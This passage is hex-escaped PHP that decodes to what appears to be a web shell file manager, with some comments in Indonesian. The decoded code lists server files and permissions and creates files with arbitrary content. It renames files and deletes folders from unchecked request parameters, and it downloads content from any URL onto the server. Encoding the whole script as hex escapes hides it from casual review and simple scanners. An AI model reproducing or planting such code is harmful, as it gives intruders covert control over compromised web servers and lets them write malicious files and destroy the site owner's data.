20\x20\x24\x73\x69\x7A\x65\x20\x3D\x20\x66\x6F\x72\x6D\x61\x74\x53\x69\x7A\x65\x28\x40\x66\x69\x6C\x65\x73\x69\x7A\x65\x28\x24\x70\x61\x74\x68\x29\x29\x3B\x20\x2F\x2F\x20\x55\x73\x65\x20\x40\x20\x74\x6F\x20\x73\x75\x70\x70\x72\x65\x73\x73\x20\x77\x61\x72\x6E\x69\x6E\x67\x73\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x20\x3D\x20\x73\x75\x62\x73\x74\x72\x28\x73\x70\x72\x69\x6E\x74\x66\x28\x27\x25\x6F\x27\x2C\x20\x66\x69\x6C\x65\x70\x65\x72\x6D\x73\x28\x24\x70\x61\x74\x68\x29\x29\x2C\x20\x2D\x34\x29\x3B\x20\x2F\x2F\x20\x47\x65\x74\x20\x6C\x61\x73\x74\x20\x34\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x20\x6F\x66\x20\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x61\x63\x74\x69\x6F\x6E\x20\x3D\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x46\x69\x6C\x65\x41\x63\x74\x69\x6F\x6E\x73\x28\x24\x64\x69\x72\x2C\x20\x24\x70\x61\x74\x68\x2C\x20\x24\x69\x74\x65\x6D\x2C\x20\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x29\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x74\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x61\x20\x68\x72\x65\x66\x3D\x5C\x22\x3F\x64\x69\x72\x3D\x22\x2E\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x28\x24\x70\x61\x74\x68\x29\x2E\x22\x5C\x22\x3E\x22\x20\x2E\x20\x24\x69\x74\x65\x6D\x20\x2E\x20\x22\x3C\x2F\x61\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x73\x69\x7A\x65\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x64\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x24\x61\x63\x74\x69\x6F\x6E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x3C\x2F\x74\x64\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x74\x72\x3E\x22\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x75\x70\x6C\x6F\x61\x64\x46\x69\x6C\x65\x46\x72\x6F\x6D\x55\x72\x6C\x28\x24\x75\x72\x6C\x2C\x20\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x4E\x61\x6D\x65\x20\x3D\x20\x62\x61\x73\x65\x6E\x61\x6D\x65\x28\x24\x75\x72\x6C\x29\x3B\x0A\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x66\x69\x6C\x65\x4E\x61\x6D\x65\x3B\x0A\x20\x20\x20\x20\x24\x63\x6F\x6E\x74\x65\x6E\x74\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x75\x72\x6C\x29\x3B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x24\x63\x6F\x6E\x74\x65\x6E\x74\x20\x3D\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x66\x65\x74\x63\x68\x20\x66\x69\x6C\x65\x20\x63\x6F\x6E\x74\x65\x6E\x74\x20\x66\x72\x6F\x6D\x20\x55\x52\x4C\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x66\x69\x6C\x65\x50\x61\x74\x68\x2C\x20\x24\x63\x6F\x6E\x74\x65\x6E\x74\x29\x20\x21\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x75\x70\x6C\x6F\x61\x64\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x75\x70\x6C\x6F\x61\x64\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x0A\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x66\x6F\x72\x6D\x61\x74\x53\x69\x7A\x65\x28\x24\x62\x79\x74\x65\x73\x29\x20\x7B\x0A\x20\x20\x20\x20\x24\x75\x6E\x69\x74\x73\x20\x3D\x20\x61\x72\x72\x61\x79\x28\x27\x42\x27\x2C\x20\x27\x4B\x42\x27\x2C\x20\x27\x4D\x42\x27\x2C\x20\x27\x47\x42\x27\x2C\x20\x27\x54\x42\x27\x29\x3B\x0A\x20\x20\x20\x20\x24\x62\x79\x74\x65\x73\x20\x3D\x20\x6D\x61\x78\x28\x24\x62\x79\x74\x65\x73\x2C\x20\x30\x29\x3B\x0A\x20\x20\x20\x20\x24\x70\x6F\x77\x20\x3D\x20\x66\x6C\x6F\x6F\x72\x28\x28\x24\x62\x79\x74\x65\x73\x20\x3F\x20\x6C\x6F\x67\x28\x24\x62\x79\x74\x65\x73\x29\x20\x3A\x20\x30\x29\x20\x2F\x20\x6C\x6F\x67\x28\x31\x30\x32\x34\x29\x29\x3B\x0A\x20\x20\x20\x20\x24\x70\x6F\x77\x20\x3D\x20\x6D\x69\x6E\x28\x24\x70\x6F\x77\x2C\x20\x63\x6F\x75\x6E\x74\x28\x24\x75\x6E\x69\x74\x73\x29\x20\x2D\x20\x31\x29\x3B\x0A\x20\x20\x20\x20\x24\x62\x79\x74\x65\x73\x20\x2F\x3D\x20\x28\x31\x20\x3C\x3C\x20\x28\x31\x30\x20\x2A\x20\x24\x70\x6F\x77\x29\x29\x3B\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x72\x6F\x75\x6E\x64\x28\x24\x62\x79\x74\x65\x73\x2C\x20\x32\x29\x20\x2E\x20\x27\x20\x27\x20\x2E\x20\x24\x75\x6E\x69\x74\x73\x5B\x24\x70\x6F\x77\x5D\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x46\x69\x6C\x65\x41\x63\x74\x69\x6F\x6E\x73\x28\x24\x64\x69\x72\x2C\x20\x24\x70\x61\x74\x68\x2C\x20\x24\x69\x74\x65\x6D\x2C\x20\x24\x70\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x29\x20\x7B\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x27\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x6F\x70\x65\x6E\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x22\x3E\x45\x64\x69\x74\x3C\x2F\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x64\x65\x6C\x65\x74\x65\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x32\x22\x3E\x44\x65\x6C\x65\x74\x65\x3C\x2F\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x72\x65\x6E\x61\x6D\x65\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x22\x3E\x52\x65\x6E\x61\x6D\x65\x3C\x2F\x61\x3E\x27\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x63\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x46\x6F\x72\x6D\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x3C\x62\x72\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x27\x70\x6F\x73\x74\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x43\x72\x65\x61\x74\x65\x20\x46\x69\x6C\x65\x20\x3A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x66\x69\x6C\x65\x6E\x61\x6D\x65\x27\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x27\x46\x69\x6C\x65\x20\x4E\x61\x6D\x65\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x72\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x74\x65\x78\x74\x61\x72\x65\x61\x20\x6E\x61\x6D\x65\x3D\x27\x66\x69\x6C\x65\x63\x6F\x6E\x74\x65\x6E\x74\x27\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x27\x46\x69\x6C\x65\x20\x43\x6F\x6E\x74\x65\x6E\x74\x27\x3E\x3C\x2F\x74\x65\x78\x74\x61\x72\x65\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x61\x64\x64\x66\x69\x6C\x65\x27\x20\x76\x61\x6C\x75\x65\x3D\x27\x43\x72\x65\x61\x74\x65\x20\x46\x69\x6C\x65\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x3C\x62\x72\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x22\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x67\x65\x6E\x65\x72\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x41\x63\x74\x69\x6F\x6E\x73\x28\x24\x64\x69\x72\x2C\x20\x24\x70\x61\x74\x68\x29\x20\x7B\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x27\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x64\x65\x6C\x65\x74\x65\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x32\x22\x3E\x44\x65\x6C\x65\x74\x65\x3C\x2F\x61\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x61\x20\x68\x72\x65\x66\x3D\x22\x3F\x64\x69\x72\x3D\x27\x2E\x24\x64\x69\x72\x2E\x27\x26\x72\x65\x6E\x61\x6D\x65\x3D\x27\x2E\x24\x70\x61\x74\x68\x2E\x27\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x62\x75\x74\x74\x6F\x6E\x22\x3E\x52\x65\x6E\x61\x6D\x65\x3C\x2F\x61\x3E\x27\x3B\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x72\x65\x6E\x61\x6D\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x72\x65\x6E\x61\x6D\x65\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x27\x3C\x62\x72\x3E\x3C\x62\x72\x3E\x3C\x63\x65\x6E\x74\x65\x72\x3E\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x22\x70\x6F\x73\x74\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4E\x65\x77\x20\x4E\x61\x6D\x65\x3A\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x6E\x65\x77\x6E\x61\x6D\x65\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x27\x2E\x62\x61\x73\x65\x6E\x61\x6D\x65\x28\x24\x5F\x47\x45\x54\x5B\x27\x72\x65\x6E\x61\x6D\x65\x27\x5D\x29\x2E\x27\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x22\x73\x75\x62\x6D\x69\x74\x22\x20\x6E\x61\x6D\x65\x3D\x22\x72\x65\x6E\x61\x6D\x65\x22\x20\x76\x61\x6C\x75\x65\x3D\x22\x52\x65\x6E\x61\x6D\x65\x22\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x2F\x66\x6F\x72\x6D\x3E\x3C\x2F\x63\x65\x6E\x74\x65\x72\x3E\x27\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x72\x65\x6E\x61\x6D\x65\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6F\x6C\x64\x6E\x61\x6D\x65\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x72\x65\x6E\x61\x6D\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x24\x6E\x65\x77\x6E\x61\x6D\x65\x20\x3D\x20\x64\x69\x72\x6E\x61\x6D\x65\x28\x24\x6F\x6C\x64\x6E\x61\x6D\x65\x29\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x6E\x65\x77\x6E\x61\x6D\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x72\x65\x6E\x61\x6D\x65\x28\x24\x6F\x6C\x64\x6E\x61\x6D\x65\x2C\x20\x24\x6E\x65\x77\x6E\x61\x6D\x65\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x72\x65\x6E\x61\x6D\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x72\x65\x6E\x61\x6D\x65\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x64\x65\x6C\x65\x74\x65\x46\x6F\x6C\x64\x65\x72\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x47\x45\x54\x5B\x27\x64\x65\x6C\x65\x74\x65\x66\x6F\x6C\x64\x65\x72\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x6F\x6C\x64\x65\x72\x54\x6F\x44\x65\x6C\x65\x74\x65\x20\x3D\x20\x24\x5F\x47\x45\x54\x5B\x27\x64\x65\x6C\x65\x74\x65\x66\x6F\x6C\x64\x65\x72\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2F\x2F\x20\x50\x65\x72\x69\x6B\x73\x61\x20\x61\x70\x61\x6B\x61\x68\x20\x66\x6F\x6C\x64\x65\x72\x20\x6B\x6F\x73\x6F\x6E\x67\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x21\x69\x73\x5F\x64\x69\x72\x45\x6D\x70\x74\x79\x28\x24\x66\x6F\x6C\x64\x65\x72\x54\x6F\x44\x65\x6C\x65\x74\x65\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x6F\x6C\x64\x65\x72\x20\x69\x73\x20\x6E\x6F\x74\x20\x65\x6D\x70\x74\x79\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x2F\x2F\x20\x48\x61\x70\x75\x73\x20\x66\x6F\x6C\x64\x65\x72\x20\x6A\x69\x6B\x61\x20\x6B\x6F\x73\x6F\x6E\x67\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x72\x6D\x64\x69\x72\x28\x24\x66\x6F\x6C\x64\x65\x72\x54\x6F\x44\x65\x6C\x65\x74\x65\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x6F\x6C\x64\x65\x72\x20\x64\x65\x6C\x65\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x28\x24\x64\x69\x72\x29\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x64\x65\x6C\x65\x74\x65\x20\x66\x6F\x6C\x64\x65\x72\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x2F\x2F\x20\x46\x75\x6E\x67\x73\x69\x20\x75\x6E\x74\x75\x6B\x20\x6D\x65\x6D\x65\x72\x69\x6B\x73\x61\x20\x61\x70\x61\x6B\x61\x68\x20\x73\x65\x62\x75\x61\x68\x20\x66\x6F\x6C\x64\x65\x72\x20\x6B\x6F\x73\x6F\x6E\x67\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x69\x73\x5F\x64\x69\x72\x45\x6D\x70\x74\x79\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x21\x69\x73\x5F\x72\x65\x61\x64\x61\x62\x6C\x65\x28\x24\x64\x69\x72\x29\x29\x20\x72\x65\x74\x75\x72\x6E\x20\x4E\x55\x4C\x4C\x3B\x0A\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6E\x20\x28\x63\x6F\x75\x6E\x74\x28\x73\x63\x61\x6E\x64\x69\x72\x28\x24\x64\x69\x72\x29\x29\x20\x3D\x3D\x20\x32\x29\x3B\x0A\x7D\x0A\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x63\x72\x65\x61\x74\x65\x46\x69\x6C\x65\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5F\x50\x4F\x53\x54\x5B\x27\x61\x64\x64\x66\x69\x6C\x65\x27\x5D\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x6E\x61\x6D\x65\x20\x3D\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x66\x69\x6C\x65\x6E\x61\x6D\x65\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x63\x6F\x6E\x74\x65\x6E\x74\x20\x3D\x20\x24\x5F\x50\x4F\x53\x54\x5B\x27\x66\x69\x6C\x65\x63\x6F\x6E\x74\x65\x6E\x74\x27\x5D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x24\x66\x69\x6C\x65\x70\x61\x74\x68\x20\x3D\x20\x24\x64\x69\x72\x20\x2E\x20\x27\x2F\x27\x20\x2E\x20\x24\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3B\x0A\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6C\x65\x5F\x65\x78\x69\x73\x74\x73\x28\x24\x66\x69\x6C\x65\x70\x61\x74\x68\x29\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x61\x6C\x72\x65\x61\x64\x79\x20\x65\x78\x69\x73\x74\x73\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x24\x66\x69\x6C\x65\x70\x61\x74\x68\x2C\x20\x24\x66\x69\x6C\x65\x63\x6F\x6E\x74\x65\x6E\x74\x29\x20\x21\x3D\x3D\x20\x66\x61\x6C\x73\x65\x29\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x69\x6C\x65\x20\x63\x72\x65\x61\x74\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x21\x27\x29\x3B\x20\x77\x69\x6E\x64\x6F\x77\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x27\x3F\x64\x69\x72\x3D\x22\x2E\x24\x64\x69\x72\x2E\x22\x27\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x63\x72\x65\x61\x74\x65\x20\x66\x69\x6C\x65\x21\x27\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x7D\x0A\x20\x20\x20\x20\x7D\x0A\x7D\x0A\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x63\x72\x65\x61\x74\x65\x46\x6F\x6C\x64\x65\x72\x46\x6F\x72\x6D\x28\x24\x64\x69\x72\x29\x20\x7B\x0A\x20\x20\x20\x20\x65\x63\x68\x6F\x20\x22\x3C\x62\x72\x3E\x3C\x66\x6F\x72\x6D\x20\x6D\x65\x74\x68\x6F\x64\x3D\x27\x70\x6F\x73\x74\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x74\x65\x78\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x6F\x6B\x66\x6F\x6C\x64\x65\x72\x27\x20\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72\x3D\x27\x46\x6F\x6C\x64\x65\x72\x20\x4E\x61\x6D\x65\x27\x3E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x69\x6E\x70\x75\x74\x20\x74\x79\x70\x65\x3D\x27\x73\x75\x62\x6D\x69\x74\x27\x20\x6E\x61\x6D\x65\x3D\x27\x61\x64\x64\x66\x6F\x6C\x